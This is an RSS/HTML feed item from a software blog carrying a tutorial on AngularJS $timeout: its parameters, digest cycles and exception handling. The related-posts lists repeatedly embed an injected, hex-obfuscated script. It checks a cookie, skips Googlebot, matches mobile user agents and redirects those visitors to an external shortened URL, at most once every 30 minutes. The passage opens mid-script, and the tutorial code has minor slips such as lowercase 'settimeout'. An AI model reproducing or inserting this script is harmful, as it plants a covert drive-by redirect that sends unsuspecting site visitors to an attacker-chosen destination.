)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/12/02/javascript-variables-asynchronous-callback-functions/" rel="bookmark" title="JavaScript: variables in asynchronous callback functions">JavaScript: variables in asynchronous callback functions </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/11/07/javascript-asynchronous-abortable-long-running-tasks/" rel="bookmark" title="JavaScript: Asynchronous abortable long running tasks">JavaScript: Asynchronous abortable long running tasks </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/06/06/angularjs-requirejs-dynamic-loading-and-pluggable-views/" rel="bookmark" title="AngularJS: RequireJS, dynamic loading and pluggable views">AngularJS: RequireJS, dynamic loading and pluggable views </a></li>
</ol>
</div>
]]></description>
										<content:encoded><![CDATA[<p>$timeout is the angular equivalent to settimeout in JavaScript. It is basically a wrapper aroung window.settimeout. So the basic functionality provided by $timeout is to have a piece of code executed asynchronously. As JavaScript doesn&#8217;t support thread spawning, asynchronously here means that the execution of the function is delayed.</p>
<h3>Differences to settimeout</h3>
<p>There are basically 2 differences between using $timeout and using directly settimeout:</p>
<ol>
<li>$timeout will by default execute a $apply on the root scope after the function is executed. This will cause a model dirty checking to be run.</li>
<li>$timeout wraps the call of the provided function in a try/catch block and forwards any thrown exception to the global exception handler (the $exceptionHandler service).</li>
</ol>
<h3>Parameters</h3>
<p>All parameters of $timeout are optional (although it of course doesn&#8217;t make much sense to call it without any parameters).</p>
<p>The first parameter is a function which execution is to be delayed.</p>
<p>The second parameter is a delay in milliseconds. You should now rely though on the delay to be absolutely respected. The minimum delay should be of 4 milliseconds in all modern browsers (you can set a smaller value but will probably not see a difference).</p>
<p>The third parameter is a flag (i.e. boolean, true or false) which when set to true, will cause $timeout not to execute $apply once the function is executed.</p>
<p>All additional parameters will be handled as parameters for the provided function and will be passed to the called function.</p>
<h3>Delayed function execution</h3>
<p>So two of the scenarios when you would want to use $timeout (or settimeout in this case) is:</p>
<p><span style="text-decoration: underline;">either when you want to execute a function later on:</span></p>
<pre><code class="language-javascript">var executeInTenSeconds = function() {
    //Code executed 10 seconds later
};

$timeout(executeInTenSeconds, 10000);</code></pre>
<p><span style="text-decoration: underline;">or when you want to execute a function when the execution of the current block is finished:</span></p>
<pre><code class="language-javascript">var executeLater = function() {
    //Code executed once we're done with the current execution
};

$timeout(executeInTenSeconds);</code></pre>
<h3>Additional parameters</h3>
<p>$timeout passes all parameters after the third one to the function being called. You can thus pass parameters to the function like this:</p>
<pre><code class="language-javascript">var executeInTenSeconds = function(increment) {
    $scope.myValue += increment;
};

$timeout(executeInTenSeconds, 10000, true, 10);</code></pre>
<p>This will basically execute <code class="language-javascript">executeInTenSeconds(10);</code> after 10 seconds, trigger the global exception manager in case of an unhandled exception and run a digest cycle afterwards.</p>
<h3>Model dirty checking</h3>
<p>A scenario where you&#8217;d rather use $timeout than settimeout is when you are modifying the model and need a digest cycle (dirty check) to run after the provided function is executed e.g.:</p>
<pre><code class="language-javascript">var executeInTenSeconds = function() {
    //Code executed 10 seconds later
	$scope.myScopeVar = "hello";
};

$timeout(executeInTenSeconds, 10000);</code></pre>
<p>After 10 seconds our function will be called, it will change the value of a scope variable and after that a digest cycle will be triggered which will update the UI.</p>
<p>But there are cases when you actually do not need a model dirty checking (e.g. when you call the server but do not need to reflect the results of this call in you application). In such cases, you should use the third parameter of $timeout (invokeApply) e.g.:</p>
<pre><code class="language-javascript">var executeInTenSeconds = function() {
    //Code executed 10 seconds later and which doesn't require a digest cycle	
};

$timeout(executeInTenSeconds, 10000, false);</code></pre>
<p>When the third parameter of $timeout is set to false, $timeout will skip the $rootScope.$apply() which is usually executed after the provided function.</p>
<h3>Global exception handler</h3>
<p>Since $timeout also wraps the provided function in a try/catch block and forwards all unhandled exceptions to the global exception handler, you may also use it in other cases too. I personally feel this is just a solution for lazy developers as you should rather wrap your function code in a try/catch block e.g.:</p>
<pre><code class="language-javascript">function($exceptionHandler) {
	try {
	  // Put here your function code
	} catch (e) {
	  // Put here some additional error handling call
	  $exceptionHandler(e); // Trigger the global exception handler
	}
	finally {
	  // Put here some cleanup logic
	}
}</code></pre>
<p>And instead of duplicating this code everywhere you should probably consider writing your own reusable provider e.g.:</p>
<pre><code class="language-javascript">'use strict';

function $ExceptionWrapperProvider() {
  this.$get = ['$exceptionHandler', function($exceptionHandler) {

    function exceptionWrapper(fn) {
        try {
			return fn.apply(null, arguments);
        } catch (e) {
          $exceptionHandler(e);
        }
		return null;
    }

    return exceptionWrapper;
  }];
}</code></pre>
<h3>$timeout without function</h3>
<p>All parameters of $timeout are optional, even the function. So why would you need to call $timeout without a function ? Basically, if you call $timeout without a function, there is no function execution, thus no exceptions and all that remains is the delay and the digest cycle. So calling $timeout without a function e.g.:</p>
<pre><code class="language-javascript">$timeout(10000);</code></pre>
<p>Basically just triggers a digest cycle after the provided delay. In the example above, it would cause a digest cycle to be run after 10 seconds. But of course doing this is probably a sign that something&#8217;s wrong in your application (you should need to run delayed digest cycles but should rather run them after some logic has been executed). But if something is run asynchronously outside of your code but you do not get called back when it&#8217;s done and this external code somehow modifies something in the angular scopes, you might need to handle it this way. In this case, using $timeout is not really different from using:</p>
<pre><code class="language-javascript">settimeout( function() {
	$rootScope.$apply();
}, 10000);</code></pre>
<p>It&#8217;s just less lines of code&#8230;</p>
<div class="container_share">
         <a href="http://www.facebook.com/sharer.php?u=https://benohead.com/blog/2016/06/13/when-to-use-timeout/&amp;t=When to use $timeout" target="_blank" class="button_purab_share facebook"><span><i class="icon-facebook"></i></span></p>
<p>Facebook</p>
<p></a><br />
          <a href="http://twitter.com/share?url=https://benohead.com/blog/2016/06/13/when-to-use-timeout/&amp;text=When to use $timeout" target="_blank" class="button_purab_share twitter"><span><i class="icon-twitter"></i></span></p>
<p>Twitter</p>
<p></a><br />
          <a href="https://plus.google.com/share?url=https://benohead.com/blog/2016/06/13/when-to-use-timeout/" target="_blank" class="button_purab_share google-plus"><span><i class="icon-google-plus"></i></span></p>
<p>Google +</p>
<p></a><br />
          <a href="http://www.linkedin.com/shareArticle?mini=true&url=https://benohead.com/blog/2016/06/13/when-to-use-timeout/&amp;title=When to use $timeout" target="_blank" class="button_purab_share linkedin"><span><i class="icon-linkedin"></i></span></p>
<p>Linkedin</p>
<p></a>
        </div>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2016/06/13/when-to-use-timeout/">When to use $timeout</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->
<p>Related posts:</p><ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( 